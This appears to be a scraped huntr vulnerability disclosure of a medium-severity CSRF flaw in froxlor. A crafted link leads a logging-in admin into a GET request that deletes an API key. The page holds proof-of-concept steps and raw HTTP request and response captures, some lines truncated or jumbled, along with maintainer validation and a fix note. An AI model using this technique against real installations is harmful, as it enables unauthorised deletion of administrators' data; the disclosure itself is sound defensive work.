huntr

CSRF on deleting an API key in froxlor/froxlor



✓ Valid) Reported on Aug 26th 2022

Description

An attacker can send a crafted link to a Froxlor admin. The admin, after clicking on the link and logging in, will redirect to the API key deletion endpoint, which is a GET request. This will result in deleting the API key with the specified id from the attacker.

Proof of Concept

- 1. Attacker sends the following link: `https://froxlordomain/index.php?scri
- 2. Admin clicks and logs in
- 3. API key deleted



This happens because of the way the login functionality works and the fact that the API key deletion request is a GET request. Upon logging in, the server will redirect the user to the API deletion endpoint and it will also append the session ID of the user in the URL. The result will

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Login request:

```
POST /index.php HTTP/2
Host: froxlordomain
Content-Length: 129
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://demo.froxlor.org
Content-Type: application/x-www-form-urlencoded
```

be a fully authenticated API key deletion request. Here's an example:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Kaccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,in

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://demo.froxlor.org/index.php?s=&script=admin index.php&qryst

Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9

script=admin_index.php&qrystr=page%3Dapikeys%26action%3Ddelete%26id%3D2&log



Redirection request after logging in:

HTTP/2 302 Found

Date: Fri, 26 Aug 2022 12:25:48 GMT

Server: Apache

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src X-Content-Security-Policy: default-src 'self'; script-src 'self'; connect-sxc X-Webkit-Csp: default-src 'self'; script-src 'self'; in

X-Xss-Protection: 1; mode=block

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Strict-Transport-Security: max-age=31536000

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Fri, 26 Aug 2022 12:25:48 GMT

Location: admin index.php?s=0f7407c346fd6e9cd26f547c0efb3697&page=apikeys&a

X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block

Cache-Control: private, must-revalidate

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Redirection response:

```
GET /admin index.php?s=0f7407c346fd6e9cd26f547c0efb3697&page=apikeys&actior
Host: froxlordomain
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (kg)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,in
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not A; Brand"; v="99", "Chromium"; v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://froxlordomain/index.php?s=&script=admin_index.php&qrystr=r
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en; q=0.9
```

Deletion response:

HTTP/2 200 OK

Date: Fri, 26 Aug 2022 12:26:45 GMT

Server: Apache

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src X-Content-Security-Policy: default-src 'self'; script-src 'self'; connect-sxc X-Webkit-Csp: default-src 'self'; script-src 'self'; in

X-Xss-Protection: 1; mode=block

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Strict-Transport-Security: max-age=31536000

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Fri, 26 Aug 2022 12:26:45 GMT

```
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Cache-Control: private, must-revalidate
Content-Length: 8945
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta http-equiv="Default-Style" content="text/css" />
    <meta name="robots" content="noindex, nofollow, noarchive" />
                <div class="success">
                    The api key with the id #2 has been removed successfull
                </div>
            </div>
```

Impact

Of course, there are some difficulties for an attacker to succeed, i.e.

```
1. The attacker must know a valid id of an API key
```

2. The victim admin must log in

Nevertheless, it is in my opinion an issue to consider. Critical requests such as deletion and addition of data should be done through a DELETE/PUT request accordingly. Or through a POST request but with proper CSRF protection.

Occurrences



Receive the values of the parameters such as id through a POST request

CVE

Vulnerability Type

Severity

Medium (4.3)

Registry

Affected Version

Visibility

Status

Found by



vict0ni amateur 🗸

We are processing your report and will contact the **froxlor** team within 24 hours. 3 months ago

We have contacted a member of the froxlor team and are waiting to hear back 3 months ago

A froxlor/froxlor maintainer validated this vulnerability 3 months ago

Valid, will be fixed shortly, thanks for the info

vict0ni has been awarded the disclosure bounty ✓



Chat with us

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

victOni 3 months ago

Cheers, have a great day

A froxlor/froxlor maintainer marked this as fixed in 0.10.38 with commit bbe822 3 months ago

The fix bounty has been dropped *

This vulnerability will not receive a CVE x

api_keys.php#L30 has been validated ✓

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2022 @ /18500

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